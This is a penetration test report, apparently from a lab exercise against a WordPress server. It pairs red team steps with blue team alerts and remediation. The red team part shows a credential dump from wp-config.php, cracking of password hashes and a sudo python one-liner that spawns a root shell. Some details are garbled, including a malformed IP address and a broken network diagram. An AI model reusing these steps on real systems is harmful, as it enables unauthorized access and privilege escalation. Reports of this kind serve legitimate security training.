X-CORP

Penetration Test Report

Security Engineering: CSIRT Division

Attack, Defense, and Analysis

Table of Contents

Executive Summary	3
Red Team	3
Vulnerabilities	3
Attack Narrative	4
Blue Team	9
Network Discovery	9
Description of the Targets	9
Monitoring the Targets	9
Conclusion	10
Risk Rating:	12
Appendix A: Vulnerability & Mitigation	12
Exploitation of Open Ports	12
DOS, Enumeration, and Directory Traversal (CWE-23)	12
Weak User Credentials	13
Misconfigured Security Controls (CWE-284 & OWASP Top 10)	13
XML-RPC Parsing	14
XML-RPC Ping	14
Cloudflare Protection Bypass	14
Local File Inclusion (LFI)	15
Appendix B: Implementing Patches with Ansible	15
Appendix C: References	15

Executive Summary

Security Engineers from XCORP's Computer Security and Incident Response Team were tasked to conduct a penetration test to analyze and determine its exposure to a targeted attack. The entire penetration test was conducted in a simulated sandboxed environment with simulated malicious actors and SOC analysts. The objective was to utilize tools and resources to determine XCORP's exposure to a targeted attack and understand XCORP's response. The goal in this test was to:

- Identify if attackers could penetrate XCORP's defenses
 - o Vulnerabilities & exploits
- Determine the impact of the security breach on:
 - o Confidentiality and integrity in relation to private data
 - o System availability and impact on infrastructure.

Emphasis was placed on the identification and exploitation of vulnerabilities that could allow attackers to gain unauthorized access to resources and data. The attacks were conducted at a level of access that a general external public user would have. The assessment was conducted in accordance with recommendations outlined in NIST and CVE. All tests and actions conducted were under controlled conditions.

Red Team

Initial reconnaissance of XCORP's network led to the discovery of misconfigured security controls, improperly secured data, and several active threats. These active threats are what allowed the attacker to penetrate the system, escalate user privileges, and gain system access. Below we will discuss exposed services, critical vulnerabilities, and exploitation.

Vulnerabilities

The following vulnerabilities were identified on Target 1:

- Exploitation of port 22 allowed the attacker to SSH with discovered credentials.
- Exploitation of port 80 provided the attacker physical access to web server and services running on web server (WordPress).
- WordPress application was susceptible to DOS and enumeration.
- Weak user credentials allowed for easy access to user accounts.
- Misconfigured security controls and improperly secured data allowed for easy access to back-end authentication and configuration files, access to SQL database, and user privilege escalation.

Vulnerabilities discovered on Target 2:

- WordPress XML-RPC parsing was susceptible to DOS attacks which allows for WordPress application to be compromised to carry out a botnet level attack (DDOS).
- WordPress XML-RPC ping can be used to expose the internal layers of the application.

- Cloudflare protection bypass allows for DNS exploitation where DNS records can be corrupted.
- A local file inclusion vulnerability was discovered within WordPress and host machine which can be used to establish direct command line access to host machine.
- Improper access controls and filtering allows access to hidden and restricted directories.

Critical Incidents discovered on XCORP network:

- A trojan malware was discovered on the network that was downloaded locally and infected multiple hosts on network.
- A private Active Directory domain was created on corporate network to conduct torrenting, avoid detection, and stream videos online.
- A few users were discovered torrenting on the network by uploading and downloading copyrighted materials.

Attack Narrative

Exploitation of Open Ports

Network scans showed IP addresses, ranges, operating system information, running services, scripts, versions, open ports, and a trace route showing how far away hosts were on network. Attacker was able to identify running services to exploit, such as WordPress and the Apache web server. Network scan results revealed the following information:

- nmap -sT 192.168.1.0/24 \rightarrow command performs full TCP scan
- nmap -A 192.168.1.0/24 → command performs an aggressive scan detecting OS, services, versions, scripts, and traceroute
- nmap -sX 192.168.1.0/24 \rightarrow command identifies open ports

```
Nmap scan report for 192.168.1.110
Host is up (0.0011s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open filtered ssh
80/tcp open filtered http
111/tcp open filtered rpcbind
139/tcp open filtered netbios-ssn
445/tcp open filtered microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
```

These scans led to the discovery of running services and open ports which were used to identify potential points of entry. The following ports were discovered open with the services:

- Port $22 \rightarrow SSH$
- Port 80 → Web

- Port 111 \rightarrow RPC
- Ports $137 139 \rightarrow \text{NetBIOS}$
- Port $445 \rightarrow SMB$
- Port 4444 → TCP

It was determined that ports 22, 80, and 111 were used as points of entry and port 4444 was used to upload a malicious payload.

User Enumeration, Weak Credentials, SSH, and Improperly Secured Data

Attacker ran a WPSCAN on WordPress service to enumerate a list of users to target. The scan identified Michael and Steven as users of the WordPress application. Michael had weak user credentials which allowed for easy access to his user account.

With Michael's discovered credentials, the attacker was able to SSH into his user account and navigate to restricted directories.

```
root@Kali:~# ssh michael@192.168.1.110
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have new mail.

Last login: Thu Jun 3 11:46:44 2021 from 192.168.1.90
michael@target1:~$
```

Attacker was able to locate the WordPress configuration directory which contained exposed sensitive and confidential information like authentication and configuration information. Once the restricted WordPress directory was located, it was used obtain administrative credentials for accessing the SQL database.

```
michael@target1:/var/www/html$ ls
                         elements.html
about.html
                                        img
                                                          Security - Doc
                                                                          team.html
contact.php css
                         fonts
                                        index.html scss
                                                          service.html
michael@target1:/var/www/html$ cd ..
michael@target1:/var/www$ ls -l
total 8
-rw-r--r-- 1 root root
                         40 Aug 13 2018 flag2.txt
drwxrwxrwx 10 root root 4096 Aug 13 2018
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```

```
michael@target1:/var/www/html$ ls
about.html
                         elements.html
                                                                         team.html
contact.php
                                        index.html scss
                                                          service.html
michael@target1:/var/www/html$ cd wordpress
michael@target1:/var/www/html/wordpress$ ls
            wp-activate.php
                                                                  wp-links-opml.php wp-mail.php
                                                                                                       wp-trackback.php
index.php
                                wp-comments-post.php
license.txt
                                wp-config.php
                                                                   wp-load.php
                                                                                      wp-settings.php
                                                                                                       xmlrpc.php
readme.html wp-blog-header.php
                                wp-config-sample.php
                                                                   wp-login.php
                                                                                      wp-signup.php
michael@target1:/var/www/html/wordpress$
```

The WordPress configuration file was vulnerable and accessible via user on the target. The configuration file root credentials were stored in plain text and the WordPress file which should

not have been accessible to a non-system administrator. The attacker was able to obtain administrative credentials logging into the SQL database.

Administrative credentials →

```
michael@target1:/var/www/html/wordpress$ cat wp-config.php
<?php
 * The base configuration for WordPress
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
   copy this file to "wp-config.php" and fill in the values.
   This file contains the following configurations:
 *
 * * MySQL settings
 *
   * Secret keys
 * * Database table prefix
 * * ABSPATH
 * @link https://codex.wordpress.org/Editing_wp-config.php
 * @package WordPress
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

Using those discovered root credentials, attacker exploited the SQL database revealing the password hashes for the site's administrators (Steven & Michael). Navigating across SQL, attacker dumped the hashes into a plain text file using nano and John-Ripper to crack hashes and obtain additional credentials (Steven's password).

Accessing SQL:

```
michael@target1:~$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with; or \g.
Your MySQL connection id is 78
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

Management
```

Dumping hashes:

```
mysql> select * from wp_users;

| ID | user_login | user_pass | user_nicename | user_email | user_url |
| on_key | user_status | display_name |
| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org |
| 0 | michael |
| 2 | steven | $P$$RXV09jsxx/loJoqNsURgHiaB23j7W/ | steven | steven@raven.org |
| 0 | Steven Seagull |
| 2 rows in set (0.00 sec)
```

Copying hashes to plain text file using nano:

```
GNU nano 4.8

michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
```

Executing John-Ripper to crack hashes and obtain Steven's password:

```
root@Kali:~# john wp_hashes.txt

Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16×3]]
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'd' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 1 candidate buffered for the current salt, minimum 96 needed for performance.
Warning: Only 79 candidates buffered for the current salt, minimum 96 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
@g 0:00:02:49 3/3 0g/s 19113p/s 38220c/s 38220C/s blaunia..blash03
pink84 (steven)
```

Misconfigured Security Controls

Once Steven's credentials were discovered, it was used to access his account via remote command execution (SSH). Steven's account was used to spawn a root shell with a simple python script via sudo to escalate privileges to root user. Once the shell was spawned, Steven's account was rooted, and the attacker gained full control of the system with the ability to place malware which could have granted persistence.

Python Script: sudo python -c 'import pty;pty.spawn("/bin/bash")'

SSH & WHOAMI:

```
root@Kali:~# ssh steven@192.168.1.110 steven@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Wed Jun 24 04:02:16 2020

$ whoami steven

$ $ $
```

Root shell spawning:

```
$ whoami
steven
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven#
```

Steven successfully rooted:

Blue Team

Network Discovery

The following machines were discovered on the network:

- Azure Hyper-V
 - o OS: Windows
 - o Role: Host
 - o IP: 192.168.1.1
- Kali Machine
 - o OS: Kali Linux
 - o Role: Attack
 - o IP: 192.168.1.90
- Target 1
 - o OS: Debian Linux
 - o Role: Target 1
 - o IP: 192.168.1.110
- Target 2
 - o OS: Debian Linux
 - o Role: Target 2
 - o IP: 102.168.1.115
- Capstone
 - OS: Debian Linux
 - o Role: Alert Testing
 - o IP: 192.168.1.105
- ELK
 - o OS: Ubuntu Linux
 - o Role: ELK Machine
 - o IP: 192.168.1.100

A. Compromise 192.168.1.11 3. Compromise SSHIHTTP Rail Machine 192.168.1.110 Wordpress Host Machine 192.168.1.110 Fig. 168.1.100 Rail Machine 192.168.1.115 Rail Machine 192.168.1.115 Rail Machine 192.168.1.115 Rail Machine 192.168.1.110 View Alerts

192.168.1.0/24

Description of the Targets

The main target of this attack was Target 1 (192.168.1.110). Target 1 is an Apache web server and has SSH enabled, so ports 80 and 22 are possible ports of entry for attackers. As such, the following alerts have been implemented:

Monitoring the Targets

Traffic to these services should be carefully monitored. To this end, these alerts have been implemented below:

Excessive HTTP Errors Alert

Alert 1 is implemented as follows:

• Metric: WHEN count() GROUPED OVER top 5 'http.response.status_code' IS ABOVE 400 FOR THE LAST 5 minutes

- Threshold: 400
- Vulnerability Mitigated: Brute force & Enumeration
- **Reliability**: Alert is highly reliable as any normal responses will be filtered out. Alert is triggered after 400 threshold is exceeded.

HTTP Request Size Monitor Alert

Alert 2 is implemented as follows:

- Metric: WHEN sum() of http.request.bytes OVER all documents IS ABOVE 3500 FOR THE LAST 1 minute
- Threshold: 3500
- Vulnerability Mitigated: Cross Site Scripting (XSS), DDOS, Directory Traversal
- **Reliability**: In terms of reliability, alert is medium since it can generate false positives, such as large & legit HTTP traffic.

CPU Usage Monitor Alert

Alert 3 is implemented as follows:

- Metric: WHEN max() OF system.process.cpu.total.pct OVER all documents IS ABOVE
 0.5 FOR THE LAST 5 minutes
- Threshold: 0.5
- Vulnerability Mitigated: Malware & Viruses
- **Reliability**: Alert is highly reliable since it shows what programs are running and how much resources is being used. It allows for the detection of malicious programs and improving CPU usage.

Conclusion

The logs and alerts generated during the assessment suggest that this network is susceptible to several active threats, identified by the alerts above. In addition to watching for occurrences of such threats, the network should be hardened against them. The Blue Team suggests that IT implement the fixes below to protect the network:

- Harden WordPress service
- Implement input validation, query parameterization, or a web application firewall
- Harden system against malware
- Implement proper security controls and baseline configurations
- Set alerts and implement sensors to detect anomalies or patterns of suspicious activity which can all prevent the breach and loss of confidentiality, integrity, and availability.

Why It Works:

WPSCANS rely on REST API to enumerate users. Disabling the REST API feature prevents enumeration on the WordPress service. Securing user login information from public access allows for a more secure environment since sensitive and confidential credentials are no longer accessible. This also prevents an attacker from accessing back-end files and dumping user password hashes. Updates to WordPress service ensures security by implementing fixes and patches to discovered vulnerabilities along with performance and application improvements.

Implementing limitations to user input will reduce the size of traffic (400 errors), preventing a loss of availability. Input validation, query parameterization, and web application firewalls prevent malicious code from being injected. This prevents the breach of confidentiality and integrity.

A Host Intrusion Detection System (HIDS) can monitor and detect malicious activity on the host system and network, giving real-time alerts to these activities. Host Intrusion Prevention System (HIPS) can protect against malicious attacks from the network layer up to the application layer. Antivirus and endpoint protection tools attempt to block the installation of malicious programs through identified signatures. Monitoring tools like ELK and Splunk collect log and metric information from systems aggregating the information into an integrated environment like Kibana and Elasticsearch which can be used to analyze and visualize the data for application and infrastructure monitoring, faster troubleshooting, and security analytics.

Additional Suggestions

Additional recommendations that should also be considered:

- Provision User Access, manage user accounts, harden system and network with secure designs.
 - o Implement "least privilege"
 - o Implement "zero trust"
 - o Implement SSO and proper access controls
 - o Baselines for secure configurations & operations
 - o Secure network design & architecture
 - Alerts for authentication logs
 - o Authentication, Authorization, and Accounting (AAA)

Why It Works:

Least privilege restricts access for users, accounts, and system processes to only those processes that exclusively require access for routine and legitimate activities. This ensures that unauthorized users cannot set up private domains, malware is limited and cannot run as a super user, and generic user accounts do not have access to back-end system and configuration files. Also, generic user accounts do not have access to run administrative commands like executing sudo commands with custom python scripts to escalate user privileges. With zero trust, no users will be trusted until they are authenticated and authorized. It is a holistic approach to ensure

users are verified and limit unauthorized activity and intruders. The implementation of single sign on or SSO reduces the number of times users must authenticate by only using a single pair of credentials to any of several related systems that are independent with the help of an authentication token. Not only does SSO save time and cut costs, but it enhances security and user experience. With this, Michael could have utilized SSO, and his footprint would have been reduced making it difficult for the attacker to compromise his account. Baselines for secure configurations, operations, secure networks, and alerts for authentication log address the question of what should be under direct control? It also secures restricted files, directories, and authentication information making it more difficult for attacker to obtain this information.

Risk Rating:

The overall risk discovered for the X-CORP corporation resulting from this assessment is **HIGH**. An external attacker was able to bypass all defense mechanisms and gain full system control and access by rooting the system on one target and uploading a malicious payload on the other. Additional incidents were also discovered on the network which puts the company at high risk. It is reasonable to believe that a malicious entity would be able to successfully execute an attack against XCORP through targeted attacks.

Appendix A: Vulnerability & Mitigation

Exploitation of Open Ports

Rating: High

Description: Open ports that are not monitored and controlled can allow an attacker to exploit

the services running on those ports. Using the ports as a point of entry.

Impact: This allowed access to web server and DOS attacks.

Remediation: Close all ports that are not in use, and carefully monitor and control all open

ports.

DOS, Enumeration, and Directory Traversal (CWE-23)

Rating: High

Description: Denial of Service (DOS) is a loss of availability to a system or network where a

target is flooded with traffic triggering a system or network crash. Enumeration can be a vulnerability that allows attackers to use brute force techniques to validate users. Directory traversal is the result of poor or no filtering to the URL

allowing access to hidden directories.

Impact: User enumeration is what allowed targets to be discovered on the WordPress

application. URL manipulation of variables that reference files showed hidden

directories.

Remediation: Disable REST API preventing WPSCAN which prevents enumeration on the

WordPress service. Implement a load balancer and filter web requests. A load balancer optimizes resources and response. This prevents the system and network from overloading and crashing. Filtering web requests prevents arbitrary requests from submission, so URL cannot be manipulated to access hidden or restricted

web directories.

Weak User Credentials

Rating: High

Description: Weak credentials are short names, first names, or any simple combinations.

Username and password are easy to obtain leading to unauthorized access and

account being compromised.

Impact: The user, Michael, utilized a simple and non-complex combination allowing

unauthorized activity on his account.

Remediation: Implement password and account policies. Limit failed login attempts and

blacklist IP addresses from known malicious actors. These steps prevent user

accounts from being compromised.

Misconfigured Security Controls (CWE-284 & OWASP Top 10)

Rating: CRITICAL

Description: Improper controls are implemented leaving systems vulnerable to multiple

exploits. This is an OWASP Top 10 vulnerability which is a critical security risk.

Impact: Allowed unauthorized access to SQL database by exposing administrative

credentials in plaintext. Exposed back-end authentication and configuration information. An end-user was able to escalate user privileges using a simple

python script to spawn a root shell.

Remediation: Conduct a full system audit. Manage user privileges, rights, and implement proper

security controls and configurations. This includes Identity and Access

Management (IAM) controls as well.

XML-RPC Parsing

Rating: Medium

Description: XML-RPC parsing is a WordPress feature that allows for XML documents to be

transmitted in a user-friendly manner using HTTP as the transport method and

XML for encoding.

Impact: WordPress XML-RPC parsing is susceptible to DOS attacks by executing

pingback.ping command. Several affected WordPress installations can launch a

botnet level attack (DDOS).

Remediation: Install latest version of WordPress. Disable features that are not used in

WordPress to mitigate risk.

XML-RPC Ping

Rating: Medium

Description: WordPress can use XML-RPC to communicate with systems. It is used to help

users create posts offline by connecting WordPress with other applications and

systems remotely.

Impact: Using HTTP POST request smuggling to bypass front-end security controls,

WordPress application internal layers are exposed. This can be used to target the application layers leading to buffer overflows, race conditions, shimming, and a wide array of application and performance vulnerabilities. WordPress application

can also be used to infect users with malware.

Remediation: Disable XML-RPC feature when not in use. Implement accelerated domains

which filters web traffic, detects advanced malicious cyber-attacks through intelligent heuristic appliances, and will operate without any effect on

performance.

Cloudflare Protection Bypass

Rating: Low

Description: WordPress uses Cloudflare to increase site speed with a content delivery network.

Impact: Execution of pingback.ping command can be used to bypass DNS level

protection. Target's public and private IP addresses can be revealed allowing for

DNS exploitation and corruption.

Remediation: Implement and properly configure web application firewall and DNS protection

settings. Disable features that are not in use.

Local File Inclusion (LFI)

Rating: High

Description: An LFI is a vulnerability in poorly designed web applications that allows a user to

upload content into an application or system.

Impact: A malicious payload was successfully uploaded onto Target 2. A backdoor PHP

NCAT listener was uploaded to the web server allowing for direct command line

access.

Remediation: Filter ports and IP addresses. Set and implement proper permissions, access, and

security controls. This includes requiring passwords for running programs and commands that require an administrator like sudo commands. Also, set alerts for uploads into restricted directories and alerts on ports 4444, 443, and 80 to prevent

malicious payloads from being uploaded and unauthorized activity.

Appendix B: Implementing Patches with Ansible

The Ansible playbook files consist of scripts that can be used to automate tasks. Below is a playbook overview:

- WordPress Patch wordpress.yml
 - o Playbook file backups and archives data
 - Installs latest version of WordPress
- ELK Stack elk.yml
 - o Configures ELK with docker
 - Use ELK to monitor activity
- Beats
 - Filebeat helps collect file logs
 - Metricbeat collects system metrics
 - o Packetbeat helps with packet analysis

Appendix C: References

• Offensive Security – Penetration Test Report